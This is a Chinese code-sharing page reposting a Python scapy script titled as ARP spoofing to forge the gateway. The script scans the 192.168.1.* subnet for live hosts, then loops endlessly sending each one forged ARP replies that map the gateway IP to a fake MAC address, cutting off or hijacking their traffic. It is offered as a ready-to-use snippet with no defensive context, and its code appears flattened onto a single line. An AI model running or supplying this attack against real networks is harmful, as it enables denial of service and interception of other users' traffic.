python arp欺骗伪造网关代码

python arp欺骗伪造网关代码,第1张

概述python arp欺骗伪造网关代码

下面是内存溢出 jb51.cc 通过网络收集整理的代码片段。

内存溢出小编现在分享给大家,也给大家做个参考。

#Coding:utf-8'''arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc'''from scapy.all import ARP,send,arPingimport sys,re stdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#伪造网关mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip) def arp_Hack(ip,hw):    #伪造来自网关的arp应答    t=p    t.hwdst=hw    t.pdst=ip    send(t) def get_host():    #得到在线主机的mac地址和对应ip地址    hw_ip = {}    sys.stdout = open('host.info','w')    arPing(IPADDR)    sys.stdout = stdout    f = open('host.info','r')    info = f.readlines()    f.close    del info[0]    del info[0]    for host in info :        temp = re.split(r'\s+',host)        hw_ip[temp[1]] = temp[2]             return hw_ip               if __name__ == "__main__":    hw_ip = get_host()    while 1 :        for i in hw_ip :            arp_Hack(hw=i,ip=hw_ip[i])

以上是内存溢出(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

总结

以上是内存溢出为你收集整理的python arp欺骗伪造网关代码全部内容,希望文章能够帮你解决python arp欺骗伪造网关代码所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/1198968.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-03
下一篇 2022-06-03

发表评论

登录后才能评论

评论列表(0条)

保存